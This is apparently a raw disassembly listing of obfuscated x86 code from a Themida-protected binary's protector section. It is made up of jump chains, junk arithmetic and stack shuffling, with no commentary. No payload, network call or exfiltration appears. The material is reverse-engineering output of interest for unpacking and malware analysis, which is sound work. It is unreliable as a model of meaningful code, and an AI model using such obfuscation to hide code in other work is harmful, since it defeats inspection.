push 99E6F38h
pop ebx
jmp loc_5A7870
; ---------------------------------------------------------------------------
loc_5983BE: ; CODE XREF: Themida_:005A49B6j
jmp loc_5AB2F9
; ---------------------------------------------------------------------------
loc_5983C3: ; CODE XREF: Themida_:005A3D72j
push ecx
mov ecx, 0AD80098h
sub ebx, ecx
pop ecx
add ebx, 3C5E13CCh
sub ebx, edi
push esi
mov esi, 3C5E13CCh
sub ebx, esi
pop esi
add ebx, 0AD80098h
pop edi
add edx, 9371432h
add edx, ebx
sub edx, 9371432h
pop ebx
add edx, 4
jmp loc_59FC9B
; ---------------------------------------------------------------------------
loc_5983FB: ; CODE XREF: Themida_:005ADEEBj
or ecx, 6C77500Bh
xor ecx, 7FFF71EBh
mov esi, ecx
pop ecx
jmp loc_5AC05E
; ---------------------------------------------------------------------------
loc_59840F: ; CODE XREF: Themida_:005A2063j
mov [esp], ecx
push esi
mov esi, 7EA74940h
dec esi
jle loc_5AED46
xor esi, 0A820A029h
mov ecx, esi
mov esi, [esp]
add esp, 4
push esi
mov esi, 20F5695Dh
sub eax, 3B441546h
sub eax, esi
jmp loc_5AC089
; ---------------------------------------------------------------------------
loc_598442: ; CODE XREF: Themida_:005A59ECj
mov eax, 6FBE0273h
xor edi, eax
jmp loc_5A097D
; ---------------------------------------------------------------------------
loc_59844E: ; CODE XREF: Themida_:005A0C62j
pop ebx
xor esi, ecx
mov ecx, [esp]
add esp, 4
and ebp, esi
pop esi
jmp loc_59BFAE
; ---------------------------------------------------------------------------
loc_598462: ; CODE XREF: Themida_:005AF582j
xchg eax, [esp]
pop esp
mov [esp], edx
jmp loc_5ACE99
; ---------------------------------------------------------------------------
loc_59846E: ; CODE XREF: Themida_:0059A293j
push eax
mov al, 10h
dec al
neg al
neg al
dec al
shr al, 3
add al, 66h
add bh, 4Ah
push eax
mov al, 0E0h
sub bh, al
pop eax
add bh, al
add bh, 0E0h
sub bh, 4Ah
pop eax
add dl, bh
pop ebx
add al, 6Dh
add al, dl
sub al, 6Dh
mov edx, [esp]
jmp loc_5A7B1D
; ---------------------------------------------------------------------------
loc_5984A1: ; CODE XREF: Themida_:005A8B2Fj
add esi, 0BCD5DE8Dh
add ecx, 3223711Eh
add ecx, 223B519Ah
add ecx, esi
sub ecx, 223B519Ah
sub ecx, 3223711Eh
pop esi
add ecx, 2
push ecx
jmp loc_5ABA59
; ---------------------------------------------------------------------------
loc_5984CE: ; CODE XREF: Themida_:00599C92j
mov esi, 30B35510h
or esi, 79DD7221h
push edx
mov edx, 3B793063h
and esi, edx
pop edx
push 5963h
mov [esp], ebx
mov ebx, 3D1E25C7h
xor ebx, 52017B37h
add esi, ebx
jmp loc_59B0CF
; ---------------------------------------------------------------------------
loc_5984FC: ; CODE XREF: Themida_:005A4B9Dj
mov eax, [esp]
add esp, 4
xchg esi, [esp]
jmp loc_59B2A1
; ---------------------------------------------------------------------------
loc_59850A: ; CODE XREF: Themida_:0059C4CBj
push esi
jmp loc_5A3D3C
; ---------------------------------------------------------------------------
loc_598510: ; CODE XREF: Themida_:0059B918j
; Themida_:005A4B01j
jz loc_5AD674
shl ebx, 1
jnp loc_5ABFCB
jmp loc_5A6310
; ---------------------------------------------------------------------------
loc_598523: ; CODE XREF: Themida_:005A976Fj
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_5A3B56
; ---------------------------------------------------------------------------
loc_598534: ; CODE XREF: Themida_:005A9161j
sub eax, esi
pop esi
pop ebp
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], eax
push dword ptr [esp+4]
jmp loc_5A30BC
; ---------------------------------------------------------------------------
loc_598554: ; CODE XREF: Themida_:005A617Cj
add [esp+4], edi
pop edi
pop edx
add edx, 4
sub edx, 4
xchg edx, [esp]
mov esp, [esp]
jmp loc_5A70A9
; ---------------------------------------------------------------------------
loc_59856E: ; CODE XREF: Themida_:0059955Dj
add [esp+8], eax
push esi
jmp loc_59929C
; ---------------------------------------------------------------------------
loc_598578: ; CODE XREF: Themida_:005A6184j
pop esp
jmp loc_59B1D6
; ---------------------------------------------------------------------------
loc_59857E: ; CODE XREF: Themida_:loc_59C1A0j
push ebp
jmp loc_5ACDC7
; ---------------------------------------------------------------------------
loc_598584: ; CODE XREF: Themida_:005A0DBFj
and bh, 0F8h
and bh, 0ACh
add bh, 1
dec bh
xor bh, 0F0h
or cl, bh
mov ebx, [esp]
jmp loc_5AB874
; ---------------------------------------------------------------------------
loc_59859C: ; CODE XREF: Themida_:005A96F7j
mov edi, [esp]
push 7F0Bh
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_59A777
; ---------------------------------------------------------------------------
loc_5985BA: ; CODE XREF: Themida_:005A1A0Bj
mov [esp], edx
push ecx
jmp loc_5AEDB4
; ---------------------------------------------------------------------------
loc_5985C3: ; CODE XREF: Themida_:loc_5A3F09j
jmp loc_5AED7E
; ---------------------------------------------------------------------------
loc_5985C8: ; CODE XREF: Themida_:005ABE12j
add esp, 4
xchg ecx, [esp]
mov esp, [esp]
push edi
mov edi, esp
add edi, 4
jmp loc_5A4401
; ---------------------------------------------------------------------------
loc_5985E2: ; CODE XREF: Themida_:005A3631j
push dword ptr [esp]
mov edx, [esp]
sub esp, 4
mov [esp], ebp
jmp loc_5A4DA0
; ---------------------------------------------------------------------------
loc_5985F6: ; CODE XREF: Themida_:005A621Ej
mov ebp, 2ADD4FA1h
push ecx
jmp loc_5AA8E5
; ---------------------------------------------------------------------------
loc_598601: ; CODE XREF: Themida_:loc_5AC7A9j
xor ch, 2Bh
mov dl, ch
pop ecx
jmp loc_5A9805
; ---------------------------------------------------------------------------
loc_59860C: ; CODE XREF: Themida_:0059C934j
jmp loc_5A9A0B
; ---------------------------------------------------------------------------
loc_598611: ; CODE XREF: Themida_:005A1799j
add ebx, edx
sub ebx, 158E7EFBh
add ebx, 2EF07147h
mov edx, [esp]
add esp, 4
jmp loc_5ACFF5
; ---------------------------------------------------------------------------
loc_59862D: ; CODE XREF: Themida_:005A19F2j
xor eax, [esp]
pop esp
bt [esp], ax
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59863C: ; CODE XREF: Themida_:005AF28Ej
push esi
jmp loc_59A42C
; ---------------------------------------------------------------------------
loc_598642: ; CODE XREF: Themida_:005A8674j
add [esp+8], eax
mov eax, [esp]
add esp, 4
sub [esp+4], eax
sub dword ptr [esp+4], 7DD94E74h
jmp loc_5AAD7D
; ---------------------------------------------------------------------------
loc_59865D: ; CODE XREF: Themida_:005A829Cj
add esi, 6D4916A0h
sub esi, eax
sub esi, 6D4916A0h
pop eax
xchg esi, [esp]
mov esp, [esp]
mov [esp], ebx
jmp loc_599F01
; ---------------------------------------------------------------------------
loc_59867A: ; CODE XREF: Themida_:005A9333j
add esp, 4
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_598682: ; CODE XREF: Themida_:0059C0DFj
push 2EEEh
mov [esp], ebx
jmp loc_599680
; ---------------------------------------------------------------------------
loc_59868F: ; CODE XREF: Themida_:005A2DFBj
shl bp, 1
xor bp, 0FC60h
sub ax, bp
mov ebp, [esp]
add esp, 4
add ax, dx
push edi
push eax
mov ax, 28E7h
jmp loc_5AD1F8
; ---------------------------------------------------------------------------
loc_5986AE: ; CODE XREF: Themida_:005A4B8Aj
; Themida_:005A6FF3j
inc edx
jle loc_5AC737
xor edx, 0A9910682h
push eax
xor al, 85h
push ebp
loc_5986BF: ; CODE XREF: Themida_:0059B29Cj
push ebx
sub esp, 4
mov [esp], ebp
mov ebp, 590D143Bh
sub esp, 4
jmp loc_59C126
; ---------------------------------------------------------------------------
loc_5986D6: ; CODE XREF: Themida_:005A7B18j
pop ebx
sub edx, esi
pop esi
jmp loc_5AADFE
; ---------------------------------------------------------------------------
loc_5986DF: ; CODE XREF: Themida_:005A0480j
sub ecx, 260B540Ah
push esi
jmp loc_5A5CDD
; ---------------------------------------------------------------------------
loc_5986EB: ; CODE XREF: Themida_:005AD268j
push ebp
push 5F48h
mov [esp], eax
push 293D5F75h
mov eax, [esp]
add esp, 4
neg eax
js loc_59ABEA
add eax, 8DCF6922h
push eax
add dword ptr [esp], 72946AA7h
pop ebp
loc_598715: ; CODE XREF: Themida_:005AF2D7j
push ebx
mov bh, 25h
jmp loc_5A04BE
; ---------------------------------------------------------------------------
loc_59871D: ; CODE XREF: Themida_:00598977j
or ah, 23h
jg loc_5A0AD8
shl ah, 6
sub ah, 8Ah
jns loc_5A4A1A
xor ah, 59h
jmp loc_59A142
; ---------------------------------------------------------------------------
pop ecx
inc esi
sub esp, 4
pop esp
loc_598740: ; CODE XREF: Themida_:005A5DA6j
mov edi, 4
add esi, 5FEB70F2h
jmp loc_59DDEC
; ---------------------------------------------------------------------------
loc_598750: ; CODE XREF: Themida_:005A55A0j
push dword ptr [esp]
pop edi
jmp loc_5A0335
; ---------------------------------------------------------------------------
loc_598759: ; CODE XREF: Themida_:005A31F5j
pop edi
mov eax, ebp
jmp loc_5A061F
; ---------------------------------------------------------------------------
loc_598761: ; CODE XREF: Themida_:005A209Fj
add ebx, 1DB97310h
sub ebx, edx
jmp loc_5A4F81
; ---------------------------------------------------------------------------
loc_59876E: ; CODE XREF: Themida_:0059BBA6j
push 5DB3h
mov [esp], edx
mov dh, 0CEh
jmp loc_5A43FA
; ---------------------------------------------------------------------------
loc_59877D: ; CODE XREF: Themida_:0059E671j
mov [esp], ecx
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_598785: ; CODE XREF: Themida_:005A88A5j
pop ecx
push ebx
mov ebx, 4
sub edx, ebx
jmp loc_5A49E1
; ---------------------------------------------------------------------------
loc_598793: ; CODE XREF: Themida_:005A9D65j
push ecx
mov ch, 0F2h
inc ch
xor ch, 9Ah
sub ch, 1
xor ch, 0F3h
add bl, ch
pop ecx
sub bl, al
sub bl, 9Bh
sub esp, 4
mov [esp], eax
push esp
pop eax
jmp loc_5A4763
; ---------------------------------------------------------------------------
loc_5987B9: ; CODE XREF: Themida_:005AA05Dj
mov eax, [esp]
sub esp, 4
mov [esp], ecx
push esp
mov ecx, [esp]
jmp loc_5AE5BB
; ---------------------------------------------------------------------------
loc_5987CE: ; CODE XREF: Themida_:005A7C15j
add edx, ebp
mov ebp, [esp]
add esp, 4
add ebx, edx
jmp loc_5A3ECD
; ---------------------------------------------------------------------------
loc_5987E0: ; CODE XREF: Themida_:loc_59CDBFj
push esi
jmp loc_5A956D
; ---------------------------------------------------------------------------
loc_5987E6: ; CODE XREF: Themida_:loc_5A18ADj
shr eax, 4
js loc_5A7137
jmp loc_5A8F20
; ---------------------------------------------------------------------------
loc_5987F4: ; CODE XREF: Themida_:005AE5F1j
xor edi, 0E6D0FC12h
add ebp, edi
pop edi
jmp loc_5A9E30
; ---------------------------------------------------------------------------
loc_598802: ; CODE XREF: Themida_:loc_5A06CBj
sub esi, 58FCF9A3h
jmp loc_59E177
; ---------------------------------------------------------------------------
loc_59880D: ; CODE XREF: Themida_:005AC4A7j
sub esp, 4
mov [esp], ecx
push edi
push 32AF3475h
pop edi
shl edi, 4
jmp loc_5A9BDD
; ---------------------------------------------------------------------------
loc_598822: ; CODE XREF: Themida_:005A9209j
mov [esp], ebp
mov ebp, 6B9600D2h
shl ebp, 1
push esi
mov esi, 7B8E30E9h
or ebp, esi
pop esi
not ebp
dec ebp
jmp loc_5A3DFC
; ---------------------------------------------------------------------------
loc_59883D: ; CODE XREF: Themida_:005A28C5j
push eax
not dword ptr [esp]
jmp loc_59A902
; ---------------------------------------------------------------------------
loc_598846: ; CODE XREF: Themida_:00598C4Bj
pop esi
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
shr ecx, 0Ah
push 3891h
mov [esp], ebx
push edx
jmp loc_599EAB
; ---------------------------------------------------------------------------
loc_598868: ; CODE XREF: Themida_:005A79DBj
pop ecx
jmp loc_59F508
; ---------------------------------------------------------------------------
loc_59886E: ; CODE XREF: Themida_:0059E70Ej
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop edx
add esp, 4
add edx, 4
add edx, 4
jmp loc_5A9190
; ---------------------------------------------------------------------------
loc_59888D: ; CODE XREF: Themida_:005AB513j
pop ebx
jmp loc_5A613F
; ---------------------------------------------------------------------------
loc_598893: ; CODE XREF: Themida_:005983A3j
push ecx
not byte ptr [esp]
pop ecx
jmp loc_5A69D8
; ---------------------------------------------------------------------------
loc_59889D: ; CODE XREF: Themida_:005AB8A8j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5988A2: ; CODE XREF: Themida_:0059E907j
add eax, edi
jmp loc_5A76F1
; ---------------------------------------------------------------------------
loc_5988A9: ; CODE XREF: Themida_:0059B3DEj
jnz loc_5A951A
sub ecx, 6B34794Ah
jmp loc_5AA887
; ---------------------------------------------------------------------------
loc_5988BA: ; CODE XREF: Themida_:0059DBD6j
add esi, 4
push eax
mov eax, 185059E3h
dec eax
jmp loc_5AF308
; ---------------------------------------------------------------------------
loc_5988CC: ; CODE XREF: Themida_:005AA292j
xchg edi, [esp]
pop esp
push dword ptr [esp]
pop esi
jmp loc_5A051F
; ---------------------------------------------------------------------------
loc_5988D9: ; CODE XREF: Themida_:005A79BCj
or ecx, ebx
pop ebx
push ebp
push ebx
jmp loc_5A92CC
; ---------------------------------------------------------------------------
loc_5988E3: ; CODE XREF: Themida_:005A79F4j
push ecx
jmp loc_5A7FC4
; ---------------------------------------------------------------------------
loc_5988E9: ; CODE XREF: Themida_:00599AE5j
; Themida_:005A02F7j
pop dword ptr [esp]
jmp loc_5A16B3
; ---------------------------------------------------------------------------
loc_5988F1: ; CODE XREF: Themida_:0059CEF4j
; Themida_:loc_5A6911j
pop ecx
jmp loc_5A054D
; ---------------------------------------------------------------------------
loc_5988F7: ; CODE XREF: Themida_:005ABF02j
jnz loc_598F71
sub eax, 0A6E9BDFAh
mov ebx, eax
pop eax
push ebp
jmp loc_5AC1B1
; ---------------------------------------------------------------------------
push ebp
loc_59890C: ; CODE XREF: Themida_:005AEE9Ej
add esp, 4
jmp loc_5AED76
; ---------------------------------------------------------------------------
loc_598917: ; CODE XREF: Themida_:005A06F5j
xor eax, 0F86E6651h
push edi
mov edi, eax
mov ebx, edi
jmp loc_5A3308
; ---------------------------------------------------------------------------
loc_598926: ; CODE XREF: Themida_:005A271Aj
jb loc_5AABE8
add ebp, 0DBB3D02Bh
inc ebp
sub ebp, 127AE354h
sub ebx, ebp
jmp loc_5A2A21
; ---------------------------------------------------------------------------
loc_598940: ; CODE XREF: Themida_:005A2CA5j
mov [esp], ebx
mov ebx, 324F7058h
not ebx
inc ebx
push esi
mov esi, 0CDB08FA4h
sub ebx, esi
pop esi
add esi, ebx
pop ebx
sub esi, 2
xchg esi, [esp]
jmp loc_5A32AE
; ---------------------------------------------------------------------------
loc_598965: ; CODE XREF: Themida_:005AE290j
sub ebp, esi
pop esi
jmp loc_5AB083
; ---------------------------------------------------------------------------
loc_59896D: ; CODE XREF: Themida_:005A2609j
jmp loc_59838C
; ---------------------------------------------------------------------------
lodsb
push ecx
push eax
mov ah, 0F6h
jmp loc_59871D
; ---------------------------------------------------------------------------
loc_59897C: ; CODE XREF: Themida_:005A54B4j
neg eax
jmp loc_5A65A6
; ---------------------------------------------------------------------------
loc_598983: ; CODE XREF: Themida_:005A7CE0j
sub ebx, 275650E7h
sub esi, 6829181Bh
jmp loc_5A585F
; ---------------------------------------------------------------------------
loc_598994: ; CODE XREF: Themida_:00599E8Dj
shr ecx, 7
shr ecx, 5
dec ecx
push esi
mov esi, 216D4FA1h
jmp loc_5A09D7
; ---------------------------------------------------------------------------
loc_5989A6: ; CODE XREF: Themida_:005AB73Cj
mov [esp], eax
sub esp, 4
jmp loc_5ACE0E
; ---------------------------------------------------------------------------
loc_5989B4: ; CODE XREF: Themida_:0059FA35j
push eax
jmp loc_59E7CE
; ---------------------------------------------------------------------------
loc_5989BA: ; CODE XREF: Themida_:005AECA3j
mov edx, ebx
mov eax, edx
pop edx
pop ebx
sub ebp, eax
jmp loc_5A9F4C
; ---------------------------------------------------------------------------
loc_5989C7: ; CODE XREF: Themida_:loc_5A17DAj
sub esp, 4
mov [esp], edi
push ebx
push 64C1h
mov [esp], ecx
push edi
mov edi, 199C5B4Bh
add edi, 0EC8EBC87h
mov ecx, edi
pop edi
mov ebx, ecx
jmp loc_5A412F
; ---------------------------------------------------------------------------
loc_5989EC: ; CODE XREF: Themida_:005A0208j
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_5A0FA3
; ---------------------------------------------------------------------------
loc_598A03: ; CODE XREF: Themida_:005A335Bj
mov eax, [esp]
push 575Ah
mov [esp], ecx
push esp
pop ecx
jmp loc_5AA86D
; ---------------------------------------------------------------------------
loc_598A15: ; CODE XREF: Themida_:0059E629j
push ebx
push ecx
jmp loc_5AC094
; ---------------------------------------------------------------------------
loc_598A1C: ; CODE XREF: Themida_:0059F04Bj
; Themida_:005A0E60j
xor edi, 58D3BBB9h
sub ebp, edi
pop edi
pop eax
sub eax, ebp
pop ebp
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_598A2E: ; CODE XREF: Themida_:005A17A8j
add edi, 4449EF2Bh
push edi
mov edi, 7C306788h
jmp loc_5A5CBD
; ---------------------------------------------------------------------------
loc_598A3F: ; CODE XREF: Themida_:005AF454j
neg eax
add eax, 6EC50C9Dh
add edi, eax
jmp loc_5ACF4F
; ---------------------------------------------------------------------------
loc_598A4D: ; CODE XREF: Themida_:0059E19Ej
; Themida_:005ACCFCj
add cl, 1Eh
neg cl
jnp loc_5AF088
sub cl, 31h
add cl, 64h
sub cl, ah
sub cl, 64h
push ecx
loc_598A64: ; CODE XREF: Themida_:005993C9j
push 3123h
mov [esp], ecx
mov ecx, 73EB3030h
jmp loc_5ACED5
; ---------------------------------------------------------------------------
loc_598A76: ; CODE XREF: Themida_:005ABAD1j
and ebp, 1A31413Ch
and ebp, 5DE04D86h
sub ebp, 10F5C4B2h
jmp loc_5AB2BA
; ---------------------------------------------------------------------------
loc_598A8D: ; CODE XREF: Themida_:loc_59CAB0j
; Themida_:005A37A7j
xor esi, eax
pop eax
push esi
not dword ptr [esp]
pop esi
push ebx
mov ebx, 1F1F74EFh
jmp loc_5A1C78
; ---------------------------------------------------------------------------
loc_598AA0: ; CODE XREF: Themida_:0059EAE9j
pop bp
sub word ptr [esp+2], 0A29h
add [esp+2], si
add word ptr [esp+2], 0A29h
sub word ptr [esp+2], 1FAAh
sub word ptr [esp+2], 3D96h
mov si, [esp]
jmp loc_5A3CB0
; ---------------------------------------------------------------------------
loc_598ACC: ; CODE XREF: Themida_:0059EC89j
pop edx
jmp loc_5AB672
; ---------------------------------------------------------------------------
loc_598AD2: ; CODE XREF: Themida_:005A7C4Dj
xchg edx, [esp]
pop esp
and esi, 3DBD760Ch
or esi, 22A65DCFh
add esi, 68A97EAAh
sub esp, 4
mov [esp], eax
mov eax, 16B831A1h
add eax, 8C97CAD4h
sub esi, eax
pop eax
push esi
push ecx
mov ecx, 2A7367F1h
jmp loc_5A44DB
; ---------------------------------------------------------------------------
loc_598B0A: ; CODE XREF: Themida_:005A1144j
mov eax, 155C1E58h
shr eax, 7
sub eax, 3EC401DAh
shl eax, 7
sub eax, 8021B9E5h
add ebx, eax
jmp loc_5AEE2D
; ---------------------------------------------------------------------------
loc_598B26: ; CODE XREF: Themida_:0059CC87j
push esi
mov esi, 74F60100h
add esi, 9422A279h
sub ebp, esi
mov esi, [esp]
jmp loc_59B00A
; ---------------------------------------------------------------------------
loc_598B3C: ; CODE XREF: Themida_:0059A30Bj
pop ebp
jmp loc_59BC30
; ---------------------------------------------------------------------------
loc_598B42: ; CODE XREF: Themida_:0059C992j
pop ebp
pop dword ptr [esp]
pop esp
jmp loc_5A17FB
; ---------------------------------------------------------------------------
loc_598B4C: ; CODE XREF: Themida_:005AEAF8j
push 2A47h
mov [esp], edi
sub esp, 4
mov [esp], eax
mov eax, 4
push eax
pop edi
jmp loc_59A7AB
; ---------------------------------------------------------------------------
loc_598B66: ; CODE XREF: Themida_:005AA6CDj
push 1B22h
mov [esp], edi
push 4
mov edi, [esp]
add esp, 4
add [esp+4], edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
push ecx
mov ecx, esp
push edi
jmp loc_59C1DF
; ---------------------------------------------------------------------------
loc_598B92: ; CODE XREF: Themida_:005AB065j
push edx
mov dh, 6Bh
inc dh
jle loc_5A268E
xor dh, 97h
push eax
push ebx
mov bl, 2Ah
xor bl, 6
mov al, bl
pop ebx
sub dh, al
pop eax
shl dh, 6
push 586h
mov [esp], eax
mov ah, 0B0h
dec ah
not ah
not ah
jmp loc_5AC530
; ---------------------------------------------------------------------------
loc_598BC5: ; CODE XREF: Themida_:0059DD9Bj
; Themida_:005A0E78j
not edx
xor edx, 0D56EC1BDh
and ebp, edx
pop edx
push ecx
mov ecx, 7344092Ah
and ebp, ecx
pop ecx
xor ebp, 6144000Ch
add ecx, ebp
mov ebp, [esp]
jmp loc_5AD335
; ---------------------------------------------------------------------------
loc_598BE9: ; CODE XREF: Themida_:00598ED6j
; Themida_:005A74D5j
push 3B7Fh
mov [esp], ebp
jmp loc_59BD73
; ---------------------------------------------------------------------------
loc_598BF6: ; CODE XREF: Themida_:0059D4A2j
push edi
mov edi, 4
push ebx
mov ebx, edi
mov edx, ebx
pop ebx
jmp loc_5AD627
; ---------------------------------------------------------------------------
loc_598C07: ; CODE XREF: Themida_:005A16EFj
not ebx
jmp loc_5A7949
; ---------------------------------------------------------------------------
loc_598C0E: ; CODE XREF: Themida_:005ACA8Bj
xor ecx, [esp]
xor [esp], ecx
jmp loc_5A95BD
; ---------------------------------------------------------------------------
loc_598C19: ; CODE XREF: Themida_:005ACD04j
jmp loc_5A9C9B
; ---------------------------------------------------------------------------
loc_598C1E: ; CODE XREF: Themida_:005AA5BFj
neg ecx
add ecx, 14BC0609h
shl ecx, 5
add ecx, 0D3825416h
jmp loc_5994FF
; ---------------------------------------------------------------------------
loc_598C34: ; CODE XREF: Themida_:005A03DEj
shl al, 6
js loc_59F86B
jmp loc_5A04D3
; ---------------------------------------------------------------------------
loc_598C42: ; CODE XREF: Themida_:005A35A3j
push 1C2Dh
mov [esp], esi
push esp
jmp loc_598846
; ---------------------------------------------------------------------------
loc_598C50: ; CODE XREF: Themida_:00598EBDj
push ebx
jmp loc_5A8D22
; ---------------------------------------------------------------------------
loc_598C56: ; CODE XREF: Themida_:005A8275j
mov esi, 6EB55DB9h
and esi, 372E74D5h
sub esi, 51E4226Eh
neg esi
and esi, 3364011Bh
add esi, 0DCDBFEE9h
add eax, esi
pop esi
sub esp, 4
mov [esp], eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
dec word ptr [esp]
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_598C96: ; CODE XREF: Themida_:005A3E47j
mov al, 5Ah
not al
jmp loc_59F136
; ---------------------------------------------------------------------------
loc_598C9F: ; CODE XREF: Themida_:005A5575j
mov esp, [esp]
xor ebx, 3B7C1E7Ah
js loc_598F0E
jmp loc_5A5393
; ---------------------------------------------------------------------------
db 0Fh
db 8Ah, 0E4h
; ---------------------------------------------------------------------------
rol dword ptr [eax], 1
add [ecx+51h], dl ; CODE XREF: Themida_:0059C1C2j
push dword ptr [esp+4]
jmp loc_59AAE2
; ---------------------------------------------------------------------------
loc_598CC4: ; CODE XREF: Themida_:005A6B11j
jl loc_5A7DF9
sub ecx, 0E743D3C1h
mov edi, ecx
pop ecx
sub ebp, edi
mov edi, [esp]
pop edi
loc_598CD9: ; CODE XREF: Themida_:005A13C5j
add esp, 4
push dword ptr [edi+eax*4]
mov eax, [esp]
push eax
mov eax, esp
jmp loc_59D48D
; ---------------------------------------------------------------------------
loc_598CED: ; CODE XREF: Themida_:005A8E2Cj
add edi, ebp
mov ebp, [esp]
add esp, 4
add edi, 2
xchg edi, [esp]
pop esp
rol dword ptr [esp], cl
pushf
jmp loc_5A36F2
; ---------------------------------------------------------------------------
loc_598D08: ; CODE XREF: Themida_:005A1486j
sub esp, 4
mov [esp], edi
mov edi, 553E18C3h
jmp loc_59BF32
; ---------------------------------------------------------------------------
loc_598D18: ; CODE XREF: Themida_:005A6AD2j
pop eax
push esi
push eax
push edx
mov edx, 4B420AE3h
push esi
mov esi, 16716C67h
xor edx, esi
pop esi
mov eax, edx
pop edx
mov esi, eax
pop eax
add edx, esi
pop esi
add edx, edi
sub edx, 5D336684h
sub edx, 21643691h
sub edx, 0C96040Bh
pop edi
xchg edx, [esp]
mov esp, [esp]
push 764Bh
jmp loc_5AC0D7
; ---------------------------------------------------------------------------
loc_598D58: ; CODE XREF: Themida_:0059CC2Fj
or edx, ebp
mov ebp, [esp]
add esp, 4
xor edx, 67FF3EF2h
jmp loc_59AD80
; ---------------------------------------------------------------------------
loc_598D6B: ; CODE XREF: Themida_:0059E3A9j
; Themida_:005AA495j
push esi
mov esi, 215D4521h
shl esi, 8
inc esi
js loc_599A02
jmp loc_5A50B4
; ---------------------------------------------------------------------------
loc_598D80: ; CODE XREF: Themida_:0059BE9Aj
xor edi, 0ACE5F6A9h
not edi
inc edi
sub edi, 934B7824h
add esi, edi
pop edi
pop eax
xchg esi, [esp]
pop esp
add esp, 4
jmp loc_5A2221
; ---------------------------------------------------------------------------
loc_598D9F: ; CODE XREF: Themida_:005A1528j
mov esi, 16292576h
sub esi, 28586B33h
jle loc_59B657
jmp loc_5A6104
; ---------------------------------------------------------------------------
and eax, 10391EF8h
loc_598DBA: ; CODE XREF: Themida_:005A9AFBj
xchg esi, [esp]
pop esp
xchg eax, [esp]
mov esp, [esp]
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
pop ecx
jmp loc_5A718A
; ---------------------------------------------------------------------------
push ebp
push edi
mov edi, 7D42209h
mov ebp, edi
pop edi
push esi
mov esi, 12185224h
jmp loc_59F58E
; ---------------------------------------------------------------------------
loc_598DEB: ; CODE XREF: Themida_:005A921Ej
or cl, 0F6h
jb loc_5AB8C4
jmp loc_59AD58
; ---------------------------------------------------------------------------
loc_598DF9: ; CODE XREF: Themida_:0059904Cj
sub esp, 4
mov [esp], eax
push 22B0328Bh
pop eax
not eax
and eax, 2BB3769Ah
jl loc_59CDBF
jmp loc_59C823
; ---------------------------------------------------------------------------
loc_598E1A: ; CODE XREF: Themida_:00599E94j
pop eax
xor ebx, 50F5419Dh
add ebx, 12282C6Ch
sub eax, ebx
pop ebx
jmp loc_5A302C
; ---------------------------------------------------------------------------
loc_598E2F: ; CODE XREF: Themida_:005AA9A0j
xchg ecx, [esp]
pop esp
push esi
push esp
pop esi
add esi, 4
add esi, 4
xor esi, [esp]
jmp loc_5AACFB
; ---------------------------------------------------------------------------
loc_598E47: ; CODE XREF: Themida_:005A2FFBj
push ecx
mov ecx, 78C374Dh
and eax, ecx
pop ecx
or eax, 1EAC48F5h
neg eax
jmp loc_5AB4D0
; ---------------------------------------------------------------------------
loc_598E5C: ; CODE XREF: Themida_:0059CC57j
jnp loc_59B6F5
add bh, 0B3h
shr bh, 1
shl bh, 8
and bh, 1Ah
add bh, 0F6h
push eax
mov ah, bh
mov dl, ah
pop eax
mov ebx, [esp]
jmp loc_5AC0BE
; ---------------------------------------------------------------------------
loc_598E7E: ; CODE XREF: Themida_:005A5D99j
push eax
push esi
jmp loc_5A230B
; ---------------------------------------------------------------------------
loc_598E85: ; CODE XREF: Themida_:0059A684j
add ebx, 5AA75DF3h
jmp loc_5AC6E5
; ---------------------------------------------------------------------------
loc_598E90: ; CODE XREF: Themida_:00599F11j
mov eax, 2
add ebx, 173C3024h
sub ebx, 315E3068h
add ebx, eax
jmp loc_5AE6D8
; ---------------------------------------------------------------------------
loc_598EA8: ; CODE XREF: Themida_:005A8528j
add ebp, ecx
jmp loc_5A5B93
; ---------------------------------------------------------------------------
loc_598EAF: ; CODE XREF: Themida_:005A1327j
xchg edx, [esp]
mov esp, [esp]
jmp loc_5ACD78
; ---------------------------------------------------------------------------
loc_598EBA: ; CODE XREF: Themida_:005AE5D2j
mov ebx, [esp]
jmp loc_598C50
; ---------------------------------------------------------------------------
loc_598EC2: ; CODE XREF: Themida_:0059AD7Bj
; Themida_:005A77EFj
mov ebx, 0
add ebx, eax
jmp loc_5A5D33
; ---------------------------------------------------------------------------
loc_598ECE: ; CODE XREF: Themida_:0059B2F4j
add esp, 4
or eax, eax
jz loc_598BE9
push 6F7Dh
jmp loc_599B97
; ---------------------------------------------------------------------------
loc_598EE6: ; CODE XREF: Themida_:005994B7j
add [esp+4], eax
sub dword ptr [esp+4], 1E7145Ch
pop eax
jmp loc_5A45D1
; ---------------------------------------------------------------------------
loc_598EF8: ; CODE XREF: Themida_:005A5B80j
xor ecx, 626A0381h
jmp loc_5AB1C5
; ---------------------------------------------------------------------------
loc_598F03: ; CODE XREF: Themida_:0059D45Dj
push ebx
mov ebx, 4F353FC5h
jmp loc_5991A4
; ---------------------------------------------------------------------------
loc_598F0E: ; CODE XREF: Themida_:00598CA8j
jmp loc_59F7FD
; ---------------------------------------------------------------------------
loc_598F13: ; CODE XREF: Themida_:005A4F93j
jp loc_5A67AB
jmp loc_59A689
; ---------------------------------------------------------------------------
mov edi, 0FFFFFFFFh
loc_598F23: ; CODE XREF: Themida_:005AAAD2j
mov ebx, 29AB6BA2h
mov edi, 0FA02B791h
add edi, ebx
mov ebx, [esp]
add esp, 4
sub edi, 4AEB68C8h
jns loc_5A671E
shl edi, 6
xor edi, 7155B059h
xor eax, edi
mov edi, [esp]
add esp, 4
shr eax, 6
push ebx
mov ebx, 94711259h
sub eax, 38285947h
jmp loc_5AEBCB
